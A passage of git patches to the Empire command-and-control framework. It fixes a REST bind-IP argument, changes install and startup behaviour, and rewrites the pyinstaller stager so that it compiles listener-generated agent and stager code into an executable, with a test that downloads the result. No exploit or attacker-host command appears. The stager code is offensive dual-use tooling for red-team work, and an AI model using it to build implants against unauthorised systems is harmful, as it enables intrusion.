"UnicodeStringParameter": "False", }, }, ) diff --git a/empire/test/test_module_api.py b/empire/test/test_module_api.py index ca9008012..3e45d77e2 100644 --- a/empire/test/test_module_api.py +++ b/empire/test/test_module_api.py @@ -55,7 +55,7 @@ def test_get_modules(client, admin_auth_header): assert response.status_code == 200 - assert len(response.json()["records"]) >= 392 + assert len(response.json()["records"]) >= 383 def test_update_module(client, admin_auth_header): From 3f78329f0431c6b1d40cd58a99928a076d34ea04 Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Sat, 17 Jun 2023 21:33:32 -0700 Subject: [PATCH 12/36] fix the restip argument --- CHANGELOG.md | 2 +- empire/server/api/app.py | 4 ++-- empire/server/server.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 7e61ae792..4910711da 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -32,7 +32,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Removed Invoke-Seatbelt in favor of Covenant's Seatbelt - Removed Bloodhound v1 module - Revamped malleable profiles and increased their generation reliability (@Cx01N) - +- Fix the restip argument which wasn't being used (@Vinnybod) ## [5.4.2] - 2023-06-07 diff --git a/empire/server/api/app.py b/empire/server/api/app.py index e578e14d2..c84776c5c 100644 --- a/empire/server/api/app.py +++ b/empire/server/api/app.py @@ -52,7 +52,7 @@ def load_starkiller(v2App): ) -def initialize(secure: bool = False, port: int = 1337): +def initialize(secure: bool = False, ip: str = "0.0.0.0", port: int = 1337): # Not pretty but allows us to use main_menu by delaying the import from empire.server.api.v2.agent import agent_api, agent_file_api, agent_task_api from empire.server.api.v2.bypass import bypass_api @@ -143,7 +143,7 @@ def shutdown_event(): if not secure: uvicorn.run( v2App, - host="0.0.0.0", + host=ip, port=port, log_config=None, lifespan="on", diff --git a/empire/server/server.py b/empire/server/server.py index b93eecb0e..e4b19b9af 100755 --- a/empire/server/server.py +++ b/empire/server/server.py @@ -183,6 +183,6 @@ def run(args): subprocess.call("./setup/cert.sh") time.sleep(3) - app.initialize(secure=args.secure_api, port=args.restport) + app.initialize(secure=args.secure_api, ip=args.restip, port=args.restport) sys.exit() From 67835bc19d820f947ed2d66cf9c0e2e8dbdbcf42 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Sun, 18 Jun 2023 22:23:33 -0700 Subject: [PATCH 13/36] remove libssl1.1 (#640) --- CHANGELOG.md | 1 + setup/install.sh | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4910711da..27974c751 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -32,6 +32,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Removed Invoke-Seatbelt in favor of Covenant's Seatbelt - Removed Bloodhound v1 module - Revamped malleable profiles and increased their generation reliability (@Cx01N) +- Remove libssl1.1 from the install script since it doesn't appear to be needed and causes install failures on some OS (@Vinnybod) - Fix the restip argument which wasn't being used (@Vinnybod) ## [5.4.2] - 2023-06-07 diff --git a/setup/install.sh b/setup/install.sh index 4baa556d4..d0d2acb97 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -171,7 +171,7 @@ else read -r answer fi if [ "$answer" != "${answer#[Yy]}" ] ;then - sudo apt-get install -y make autoconf g++ git zlib1g-dev libxml2-dev libssl1.1 libssl-dev + sudo apt-get install -y make autoconf g++ git zlib1g-dev libxml2-dev libssl-dev install_xar install_bomutils else From c9173a114b0f4f335afe87bb0cbfc75b1a87feea Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Sun, 18 Jun 2023 22:24:15 -0700 Subject: [PATCH 14/36] allow the server to start even when starkiler sync fails (#639) * allow the server to start even when starkiler sync fails * add log message and readme --- CHANGELOG.md | 1 + README.md | 4 ++++ empire/server/api/app.py | 8 +++++++- 3 files changed, 12 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 27974c751..d0701f47a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -32,6 +32,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Removed Invoke-Seatbelt in favor of Covenant's Seatbelt - Removed Bloodhound v1 module - Revamped malleable profiles and increased their generation reliability (@Cx01N) +- Allow the server to start even when starkiller sync fails (@Vinnybod) - Remove libssl1.1 from the install script since it doesn't appear to be needed and causes install failures on some OS (@Vinnybod) - Fix the restip argument which wasn't being used (@Vinnybod) diff --git a/README.md b/README.md index fcf688538..ffc20baf5 100644 --- a/README.md +++ b/README.md @@ -70,6 +70,10 @@ cd Empire sudo ./setup/install.sh ``` +If you are using the sponsors version of Empire, it will pull the sponsors version of Starkiller. +Because these are private repositories, you need to have ssh credentials configured for GitHub. +Instructions can be found [here](https://docs.github.com/en/github/authenticating-to-github/connecting-to-github-with-ssh). + #### Server ```bash diff --git a/empire/server/api/app.py b/empire/server/api/app.py index c84776c5c..01ab6791e 100644 --- a/empire/server/api/app.py +++ b/empire/server/api/app.py @@ -136,7 +136,13 @@ def shutdown_event(): log.info(f"Starkiller served at http://localhost:{port}/index.html") except Exception as e: log.warning("Failed to load Starkiller: %s", e, exc_info=True) - pass + log.warning( + "If you are trying to pull Starkiller from a private repository (" + "such as Starkiller-Sponsors), make sure you have the proper ssh " + "credentials set in your Empire config. See " + "https://docs.github.com/en/github/authenticating-to-github" + "/connecting-to-github-with-ssh" + ) cert_path = os.path.abspath("./empire/server/data/") From 46050f85ea72dab55059a6e96c07b0759ec79bd0 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Tue, 20 Jun 2023 17:11:27 -0400 Subject: [PATCH 15/36] Updated and fixed pyinstaller launcher (#642) * Updated and fixed pyinstaller launcher * formatting * use official releaes --------- Co-authored-by: Vince Rose --- CHANGELOG.md | 2 + empire/server/stagers/multi/pyinstaller.py | 72 ++++---- empire/test/conftest.py | 15 ++ empire/test/test_stager_api.py | 34 ++++ poetry.lock | 194 +++++++++++---------- pyproject.toml | 4 +- 6 files changed, 192 insertions(+), 129 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d0701f47a..949a569c4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -35,6 +35,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Allow the server to start even when starkiller sync fails (@Vinnybod) - Remove libssl1.1 from the install script since it doesn't appear to be needed and causes install failures on some OS (@Vinnybod) - Fix the restip argument which wasn't being used (@Vinnybod) +- Updated and fixed pyinstaller stager (@Cx01N) + ## [5.4.2] - 2023-06-07 diff --git a/empire/server/stagers/multi/pyinstaller.py b/empire/server/stagers/multi/pyinstaller.py index 92d9591dc..cf22e353d 100644 --- a/empire/server/stagers/multi/pyinstaller.py +++ b/empire/server/stagers/multi/pyinstaller.py @@ -2,10 +2,9 @@ import logging import os +import time from builtins import object, str -from empire.server.common import helpers - """ Install steps... @@ -72,18 +71,16 @@ def __init__(self, mainMenu, params=[]): "SuggestedValues": ["True", "False"], "Strict": True, }, - "Base64": { - "Description": "Switch. Base64 encode the output. Defaults to False.", - "Required": True, - "Value": "False", - "SuggestedValues": ["True", "False"], - "Strict": True, - }, "UserAgent": { "Description": "User-agent string to use for the staging request (default, none, or other).", "Required": False, "Value": "default", }, + "OutFile": { + "Description": "Filename that should be used for the generated output.", + "Required": True, + "Value": "Empire", + }, } # save off a copy of the mainMenu object to access external functionality @@ -100,14 +97,10 @@ def generate(self): # extract all of our options language = self.options["Language"]["Value"] listener_name = self.options["Listener"]["Value"] - base64 = self.options["Base64"]["Value"] user_agent = self.options["UserAgent"]["Value"] safe_checks = self.options["SafeChecks"]["Value"] binary_file_str = self.options["BinaryFile"]["Value"] - encode = False - if base64.lower() == "true": - encode = True import subprocess @@ -129,27 +122,38 @@ def generate(self): log.error("Error in launcher command generation.") return "" else: - files_to_extract_imports_from_list = [] + active_listener = self.mainMenu.listenersv2.get_active_listener_by_name( + listener_name + ) - stager_ffp_str = ( - self.mainMenu.installPath + "/data/agent/stagers/http.py" + agent_code = active_listener.generate_agent( + active_listener.options, language=language + ) + comms_code = active_listener.generate_comms( + active_listener.options, language=language ) - files_to_extract_imports_from_list.append(stager_ffp_str) - agent_ffp_str = self.mainMenu.installPath + "/data/agent/agent.py" - files_to_extract_imports_from_list.append(agent_ffp_str) + stager_code = active_listener.generate_stager( + active_listener.options, + language=language, + encrypt=False, + encode=False, + ) imports_list = [] - for FullFilePath in files_to_extract_imports_from_list: - with open(FullFilePath, "r") as file: - for line in file: - line = line.strip() - if line.startswith("import "): - helpers.color(line) - imports_list.append(line) - elif line.startswith("from "): - helpers.color(line) - imports_list.append(line) + for code in [agent_code, comms_code, stager_code]: + for line in code.splitlines(): + line = line.strip() + if line.startswith("from System"): + # Skip Ironpython imports + pass + elif line.startswith("import sslzliboff"): + # Sockschain checks to import this, so we will just skip it + pass + elif line.startswith("import "): + imports_list.append(line) + elif line.startswith("from "): + imports_list.append(line) imports_list.append("import trace") imports_list.append("import json") @@ -160,9 +164,7 @@ def generate(self): with open(binary_file_str + ".py", "w") as text_file: text_file.write("%s" % launcher) - import time - - output_str = subprocess.check_output( + output_str = subprocess.run( [ "pyinstaller", "-y", @@ -177,4 +179,8 @@ def generate(self): binary_file_str + ".py", ] ) - return launcher + + with open(binary_file_str, "rb") as f: + exe = f.read() + + return exe diff --git a/empire/test/conftest.py b/empire/test/conftest.py index b44d62b34..b7940362b 100644 --- a/empire/test/conftest.py +++ b/empire/test/conftest.py @@ -266,6 +266,21 @@ def base_stager_2(): } +@pytest.fixture(scope="function") +def pyinstaller_stager(): + return { + "name": "MyStager3", + "template": "multi_pyinstaller", + "options": { + "Listener": "new-listener-1", + "Language": "python", + "OutFile": "empire", + "SafeChecks": "True", + "UserAgent": "default", + }, + } + + @pytest.fixture(scope="session") def session_local(client): from empire.server.core.db.base import SessionLocal diff --git a/empire/test/test_stager_api.py b/empire/test/test_stager_api.py index 95f0fffeb..52f8f7115 100644 --- a/empire/test/test_stager_api.py +++ b/empire/test/test_stager_api.py @@ -276,3 +276,37 @@ def test_delete_stager(client, admin_auth_header): assert response.status_code == 200 assert len(response.json()["records"]) == 1 assert response.json()["records"][0]["id"] != to_delete["id"] + + +def test_pyinstaller_stager_creation(client, pyinstaller_stager, admin_auth_header): + response = client.post( + "/api/v2/stagers/?save=true", headers=admin_auth_header, json=pyinstaller_stager + ) + + # Check if the stager is successfully created + assert response.status_code == 201 + assert response.json()["id"] != 0 + + stager_id = response.json()["id"] + + response = client.get( + f"/api/v2/stagers/{stager_id}", + headers=admin_auth_header, + ) + + # Check if we can successfully retrieve the stager + assert response.status_code == 200 + assert response.json()["id"] == stager_id + + response = client.get( + response.json()["downloads"][0]["link"], + headers=admin_auth_header, + ) + + # Check if the file is downloaded successfully + assert response.status_code == 200 + assert response.headers.get("content-type").split(";")[0] == "text/plain" + assert type(response.content) == bytes + + # Check if the downloaded file is not empty + assert len(response.content) > 0 diff --git a/poetry.lock b/poetry.lock index 66cec87ea..62281e55b 100644 --- a/poetry.lock +++ b/poetry.lock @@ -477,14 +477,14 @@ files = [ [[package]] name = "dropbox" -version = "11.36.0" +version = "11.36.2" description = "Official Dropbox API Client" optional = false python-versions = "*" files = [ - {file = "dropbox-11.36.0-py2-none-any.whl", hash = "sha256:91d26a47a6db294e5d787d233e70d8f785efee6d456564588e81a6a2ac4c550b"}, - {file = "dropbox-11.36.0-py3-none-any.whl", hash = "sha256:5d36e3b08c2e542f31469d82031be2606963f774b2f1105e3aa11c9913c67697"}, - {file = "dropbox-11.36.0.tar.gz", hash = "sha256:830ce522d8bc3905b4a99b67dc009aa9542550d1de9fa1743c1927de70888b47"}, + {file = "dropbox-11.36.2-py2-none-any.whl", hash = "sha256:afbfce2589b777ade1deaa2c186f3650c41e41cea0f1fac497a75112a171f8e2"}, + {file = "dropbox-11.36.2-py3-none-any.whl", hash = "sha256:a21e4d2bcbeb1d8067ff87969aea48792c9a8266182491153feff2be9c1b9c8f"}, + {file = "dropbox-11.36.2.tar.gz", hash = "sha256:d48d3d16d486c78b11c14a1c4a28a2611fbf5a0d0a358b861bfd9482e603c500"}, ] [package.dependencies] @@ -693,13 +693,13 @@ files = [ [[package]] name = "importlib-metadata" -version = "6.6.0" +version = "6.7.0" description = "Read metadata from Python packages" optional = false python-versions = ">=3.7" files = [ - {file = "importlib_metadata-6.6.0-py3-none-any.whl", hash = "sha256:43dd286a2cd8995d5eaef7fee2066340423b818ed3fd70adf0bad5f1fac53fed"}, - {file = "importlib_metadata-6.6.0.tar.gz", hash = "sha256:92501cdf9cc66ebd3e612f1b4f0c0765dfa42f0fa38ffb319b6bd84dd675d705"}, + {file = "importlib_metadata-6.7.0-py3-none-any.whl", hash = "sha256:cb52082e659e97afc5dac71e79de97d8681de3aa07ff18578330904a9d18e5b5"}, + {file = "importlib_metadata-6.7.0.tar.gz", hash = "sha256:1aaf550d4f73e5d6783e7acb77aec43d49da8017410afae93822cc9cca98c4d4"}, ] [package.dependencies] @@ -708,7 +708,7 @@ zipp = ">=0.5" [package.extras] docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] perf = ["ipython"] -testing = ["flake8 (<5)", "flufl.flake8", "importlib-resources (>=1.3)", "packaging", "pyfakefs", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-flake8", "pytest-mypy (>=0.9.1)", "pytest-perf (>=0.9.2)"] +testing = ["flufl.flake8", "importlib-resources (>=1.3)", "packaging", "pyfakefs", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-mypy (>=0.9.1)", "pytest-perf (>=0.9.2)", "pytest-ruff"] [[package]] name = "incremental" @@ -1074,18 +1074,18 @@ files = [ [[package]] name = "platformdirs" -version = "3.5.1" +version = "3.6.0" description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"." optional = false python-versions = ">=3.7" files = [ - {file = "platformdirs-3.5.1-py3-none-any.whl", hash = "sha256:e2378146f1964972c03c085bb5662ae80b2b8c06226c54b2ff4aa9483e8a13a5"}, - {file = "platformdirs-3.5.1.tar.gz", hash = "sha256:412dae91f52a6f84830f39a8078cecd0e866cb72294a5c66808e74d5e88d251f"}, + {file = "platformdirs-3.6.0-py3-none-any.whl", hash = "sha256:ffa199e3fbab8365778c4a10e1fbf1b9cd50707de826eb304b50e57ec0cc8d38"}, + {file = "platformdirs-3.6.0.tar.gz", hash = "sha256:57e28820ca8094678b807ff529196506d7a21e17156cb1cddb3e74cebce54640"}, ] [package.extras] -docs = ["furo (>=2023.3.27)", "proselint (>=0.13)", "sphinx (>=6.2.1)", "sphinx-autodoc-typehints (>=1.23,!=1.23.4)"] -test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.3.1)", "pytest-cov (>=4)", "pytest-mock (>=3.10)"] +docs = ["furo (>=2023.5.20)", "proselint (>=0.13)", "sphinx (>=7.0.1)", "sphinx-autodoc-typehints (>=1.23,!=1.23.4)"] +test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.3.1)", "pytest-cov (>=4.1)", "pytest-mock (>=3.10)"] [[package]] name = "pluggy" @@ -1335,27 +1335,32 @@ files = [ [[package]] name = "pyinstaller" -version = "4.5.1" +version = "5.12.0" description = "PyInstaller bundles a Python application and all its dependencies into a single package." optional = false -python-versions = ">=3.6" +python-versions = "<3.12,>=3.7" files = [ - {file = "pyinstaller-4.5.1-py3-none-macosx_10_13_universal2.whl", hash = "sha256:ecc2baadeeefd2b6fbf39d13c65d4aa603afdda1c6aaaebc4577ba72893fee9e"}, - {file = "pyinstaller-4.5.1-py3-none-manylinux2014_aarch64.whl", hash = "sha256:4d848cd782ee0893d7ad9fe2bfe535206a79f0b6760cecc5f2add831258b9322"}, - {file = "pyinstaller-4.5.1-py3-none-manylinux2014_i686.whl", hash = "sha256:8f747b190e6ad30e2d2fd5da9a64636f61aac8c038c0b7f685efa92c782ea14f"}, - {file = "pyinstaller-4.5.1-py3-none-manylinux2014_x86_64.whl", hash = "sha256:c587da8f521a7ce1b9efb4e3d0117cd63c92dc6cedff24590aeef89372f53012"}, - {file = "pyinstaller-4.5.1-py3-none-win32.whl", hash = "sha256:fed9f5e4802769a416a8f2ca171c6be961d1861cc05a0b71d20dfe05423137e9"}, - {file = "pyinstaller-4.5.1-py3-none-win_amd64.whl", hash = "sha256:aae456205c68355f9597411090576bb31b614e53976b4c102d072bbe5db8392a"}, - {file = "pyinstaller-4.5.1.tar.gz", hash = "sha256:30733baaf8971902286a0ddf77e5499ac5f7bf8e7c39163e83d4f8c696ef265e"}, + {file = "pyinstaller-5.12.0-py3-none-macosx_10_13_universal2.whl", hash = "sha256:edcb6eb6618f3b763c11487db1d3516111d54bd5598b9470e295c1f628a95496"}, + {file = "pyinstaller-5.12.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:303952c2a8ece894b655c2a0783a0bdc844282f47790707446bde3eaf355f0da"}, + {file = "pyinstaller-5.12.0-py3-none-manylinux2014_i686.whl", hash = "sha256:7eed9996c12aeee7530cbc7c57350939f46391ecf714ac176579190dbd3ec7bf"}, + {file = "pyinstaller-5.12.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:96ad645347671c9fce190506c09523c02f01a503fe3ea65f79bb0cfe22a8c83e"}, + {file = "pyinstaller-5.12.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:c3ceb6c3a34b9407ba16fb68a32f83d5fd94f21d43d9fe38d8f752feb75ca5bb"}, + {file = "pyinstaller-5.12.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:92eeacd052092a0a4368f50ddecbeb6e020b5a70cdf113243fbd6bd8ee25524e"}, + {file = "pyinstaller-5.12.0-py3-none-musllinux_1_1_aarch64.whl", hash = "sha256:3605ac72311318455907a88efb4a4b334b844659673a2a371bbaac2d8b52843a"}, + {file = "pyinstaller-5.12.0-py3-none-musllinux_1_1_x86_64.whl", hash = "sha256:d14c1c2b753af5efed96584f075a6740ea634ca55789113d325dc8c32aef50fe"}, + {file = "pyinstaller-5.12.0-py3-none-win32.whl", hash = "sha256:b64d8a3056e6c7e4ed4d1f95e793ef401bf5b166ef00ad544b5812be0ac63b4b"}, + {file = "pyinstaller-5.12.0-py3-none-win_amd64.whl", hash = "sha256:62d75bb70cdbeea1a0d55067d7201efa2f7d7c19e56c241291c03d551b531684"}, + {file = "pyinstaller-5.12.0-py3-none-win_arm64.whl", hash = "sha256:2f70e2d9b032e5f24a336f41affcb4624e66a84cd863ba58f6a92bd6040653bb"}, + {file = "pyinstaller-5.12.0.tar.gz", hash = "sha256:a1c2667120730604c3ad1e0739a45bb72ca4a502a91e2f5c5b220fbfbb05f0d4"}, ] [package.dependencies] altgraph = "*" macholib = {version = ">=1.8", markers = "sys_platform == \"darwin\""} -pefile = {version = ">=2017.8.1", markers = "sys_platform == \"win32\""} -pyinstaller-hooks-contrib = ">=2020.6" +pefile = {version = ">=2022.5.30", markers = "sys_platform == \"win32\""} +pyinstaller-hooks-contrib = ">=2021.4" pywin32-ctypes = {version = ">=0.2.0", markers = "sys_platform == \"win32\""} -setuptools = "*" +setuptools = ">=42.0.0" [package.extras] encryption = ["tinyaes (>=1.0.0)"] @@ -1407,13 +1412,13 @@ test = ["flaky", "pretend", "pytest (>=3.0.1)"] [[package]] name = "pyparsing" -version = "3.0.9" +version = "3.1.0" description = "pyparsing module - Classes and methods to define and execute parsing grammars" optional = false python-versions = ">=3.6.8" files = [ - {file = "pyparsing-3.0.9-py3-none-any.whl", hash = "sha256:5026bae9a10eeaefb61dab2f09052b9f4307d44aee4eda64b309723d8d206bbc"}, - {file = "pyparsing-3.0.9.tar.gz", hash = "sha256:2b020ecf7d21b687f219b71ecad3631f644a47f01403fa1d1036b0c6416d70fb"}, + {file = "pyparsing-3.1.0-py3-none-any.whl", hash = "sha256:d554a96d1a7d3ddaf7183104485bc19fd80543ad6ac5bdb6426719d766fb06c1"}, + {file = "pyparsing-3.1.0.tar.gz", hash = "sha256:edb662d6fe322d6e990b1594b5feaeadf806803359e3d4d42f11e295e588f0ea"}, ] [package.extras] @@ -1446,13 +1451,13 @@ resolved_reference = "43c0beda33d5f7939d2a434a873b36fc395f6204" [[package]] name = "pytest" -version = "7.3.1" +version = "7.3.2" description = "pytest: simple powerful testing with Python" optional = false python-versions = ">=3.7" files = [ - {file = "pytest-7.3.1-py3-none-any.whl", hash = "sha256:3799fa815351fea3a5e96ac7e503a96fa51cc9942c3753cda7651b93c1cfa362"}, - {file = "pytest-7.3.1.tar.gz", hash = "sha256:434afafd78b1d78ed0addf160ad2b77a30d35d4bdf8af234fe621919d9ed15e3"}, + {file = "pytest-7.3.2-py3-none-any.whl", hash = "sha256:cdcbd012c9312258922f8cd3f1b62a6580fdced17db6014896053d47cddf9295"}, + {file = "pytest-7.3.2.tar.gz", hash = "sha256:ee990a3cc55ba808b80795a79944756f315c67c12b56abd3ac993a7b8c17030b"}, ] [package.dependencies] @@ -1464,7 +1469,7 @@ pluggy = ">=0.12,<2.0" tomli = {version = ">=1.0.0", markers = "python_version < \"3.11\""} [package.extras] -testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "xmlschema"] +testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"] [[package]] name = "pytest-timeout" @@ -1587,13 +1592,13 @@ resolved_reference = "a565e9b5f1c076ebcfda6234700b723e204bcafc" [[package]] name = "pywin32-ctypes" -version = "0.2.0" -description = "" +version = "0.2.1" +description = "A (partial) reimplementation of pywin32 using ctypes/cffi" optional = false -python-versions = "*" +python-versions = ">=3.6" files = [ - {file = "pywin32-ctypes-0.2.0.tar.gz", hash = "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942"}, - {file = "pywin32_ctypes-0.2.0-py2.py3-none-any.whl", hash = "sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98"}, + {file = "pywin32-ctypes-0.2.1.tar.gz", hash = "sha256:934a2def1e5cbc472b2b6bf80680c0f03cd87df65dfd58bfd1846969de095b03"}, + {file = "pywin32_ctypes-0.2.1-py3-none-any.whl", hash = "sha256:b9a53ef754c894a525469933ab2a447c74ec1ea6b9d2ef446f40ec50d3dcec9f"}, ] [[package]] @@ -1793,13 +1798,13 @@ files = [ [[package]] name = "service-identity" -version = "21.1.0" +version = "23.1.0" description = "Service identity verification for pyOpenSSL & cryptography." optional = false -python-versions = "*" +python-versions = ">=3.8" files = [ - {file = "service-identity-21.1.0.tar.gz", hash = "sha256:6e6c6086ca271dc11b033d17c3a8bea9f24ebff920c587da090afc9519419d34"}, - {file = "service_identity-21.1.0-py2.py3-none-any.whl", hash = "sha256:f0b0caac3d40627c3c04d7a51b6e06721857a0e10a8775f2d1d7e72901b3a7db"}, + {file = "service_identity-23.1.0-py3-none-any.whl", hash = "sha256:87415a691d52fcad954a500cb81f424d0273f8e7e3ee7d766128f4575080f383"}, + {file = "service_identity-23.1.0.tar.gz", hash = "sha256:ecb33cd96307755041e978ab14f8b14e13b40f1fbd525a4dc78f46d2b986431d"}, ] [package.dependencies] @@ -1807,23 +1812,23 @@ attrs = ">=19.1.0" cryptography = "*" pyasn1 = "*" pyasn1-modules = "*" -six = "*" [package.extras] -dev = ["coverage[toml] (>=5.0.2)", "furo", "idna", "pyOpenSSL", "pytest", "sphinx"] -docs = ["furo", "sphinx"] +dev = ["pyopenssl", "service-identity[docs,idna,mypy,tests]"] +docs = ["furo", "myst-parser", "pyopenssl", "sphinx", "sphinx-notfound-page"] idna = ["idna"] +mypy = ["idna", "mypy", "types-pyopenssl"] tests = ["coverage[toml] (>=5.0.2)", "pytest"] [[package]] name = "setuptools" -version = "67.8.0" +version = "68.0.0" description = "Easily download, build, install, upgrade, and uninstall Python packages" optional = false python-versions = ">=3.7" files = [ - {file = "setuptools-67.8.0-py3-none-any.whl", hash = "sha256:5df61bf30bb10c6f756eb19e7c9f3b473051f48db77fddbe06ff2ca307df9a6f"}, - {file = "setuptools-67.8.0.tar.gz", hash = "sha256:62642358adc77ffa87233bc4d2354c4b2682d214048f500964dbe760ccedf102"}, + {file = "setuptools-68.0.0-py3-none-any.whl", hash = "sha256:11e52c67415a381d10d6b462ced9cfb97066179f0e871399e006c4ab101fc85f"}, + {file = "setuptools-68.0.0.tar.gz", hash = "sha256:baf1fdb41c6da4cd2eae722e135500da913332ab3f2f5c7d33af9b492acb5235"}, ] [package.extras] @@ -1855,52 +1860,52 @@ files = [ [[package]] name = "sqlalchemy" -version = "2.0.15" +version = "2.0.16" description = "Database Abstraction Library" optional = false python-versions = ">=3.7" files = [ - {file = "SQLAlchemy-2.0.15-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:78303719c6f72af97814b0072ad18bee72e70adca8d95cf8fecd59c5e1ddb040"}, - {file = "SQLAlchemy-2.0.15-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9d810b4aacd5ef4e293aa4ea01f19fca53999e9edcfc4a8ef1146238b30bdc28"}, - {file = "SQLAlchemy-2.0.15-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3fb5d09f1d51480f711b69fe28ad42e4f8b08600a85ab2473baee669e1257800"}, - {file = "SQLAlchemy-2.0.15-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51b19887c96d405599880da6a7cbdf8545a7e78ec5683e46a43bac8885e32d0f"}, - {file = "SQLAlchemy-2.0.15-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d6b17cb86908e7f88be14007d6afe7d2ab11966e373044137f96a6a4d83eb21c"}, - {file = "SQLAlchemy-2.0.15-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df25052b92bd514357a9b370d74f240db890ea79aaa428fb893520e10ee5bc18"}, - {file = "SQLAlchemy-2.0.15-cp310-cp310-win32.whl", hash = "sha256:55ec62ddc0200b4fee94d11abbec7aa25948d5d21cb8df8807f4bdd3c51ba44b"}, - {file = "SQLAlchemy-2.0.15-cp310-cp310-win_amd64.whl", hash = "sha256:ae1d8deb391ab39cc8f0d5844e588a115ae3717e607d91482023917f920f777f"}, - {file = "SQLAlchemy-2.0.15-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4670ce853cb25f72115a1bbe366ae13cf3f28fc5c87222df14f8d3d55d51816e"}, - {file = "SQLAlchemy-2.0.15-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cea7c4a3dfc2ca61f88a2b1ddd6b0bfbd116c9b1a361b3b66fd826034b833142"}, - {file = "SQLAlchemy-2.0.15-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6f5784dfb2d45c19cde03c45c04a54bf47428610106197ed6e6fa79f33bc63d3"}, - {file = "SQLAlchemy-2.0.15-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9b31ebde27575b3b0708673ec14f0c305c4564d995b545148ab7ac0f4d9b847a"}, - {file = "SQLAlchemy-2.0.15-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:6b42913a0259267e9ee335da0c36498077799e59c5e332d506e72b4f32de781d"}, - {file = "SQLAlchemy-2.0.15-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6a3f8020e013e9b3b7941dcf20b0fc8f7429daaf7158760846731cbd8caa5e45"}, - {file = "SQLAlchemy-2.0.15-cp311-cp311-win32.whl", hash = "sha256:88ab245ed2c96265441ed2818977be28c840cfa5204ba167425d6c26eb67b7e7"}, - {file = "SQLAlchemy-2.0.15-cp311-cp311-win_amd64.whl", hash = "sha256:5cc48a7fda2b5c5b8860494d6c575db3a101a68416492105fed6591dc8a2728a"}, - {file = "SQLAlchemy-2.0.15-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:f6fd3c88ea4b170d13527e93be1945e69facd917661d3725a63470eb683fbffe"}, - {file = "SQLAlchemy-2.0.15-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1e885dacb167077df15af2f9ccdacbd7f5dd0d538a6d74b94074f2cefc7bb589"}, - {file = "SQLAlchemy-2.0.15-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:201a99f922ac8c780b3929128fbd9df901418877c70e160e19adb05665e51c31"}, - {file = "SQLAlchemy-2.0.15-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:e17fdcb8971e77c439113642ca8861f9465e21fc693bd3916654ceef3ac26883"}, - {file = "SQLAlchemy-2.0.15-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:db269f67ed17b07e80aaa8fba1f650c0d84aa0bdd9d5352e4ac38d5bf47ac568"}, - {file = "SQLAlchemy-2.0.15-cp37-cp37m-win32.whl", hash = "sha256:994a75b197662e0608b6a76935d7c345f7fd874eac0b7093d561033db61b0e8c"}, - {file = "SQLAlchemy-2.0.15-cp37-cp37m-win_amd64.whl", hash = "sha256:4d61731a35eddb0f667774fe15e5a4831e444d066081d1e809e1b8a0e3f97cae"}, - {file = "SQLAlchemy-2.0.15-cp38-cp38-macosx_10_9_x86_64.whl", hash = 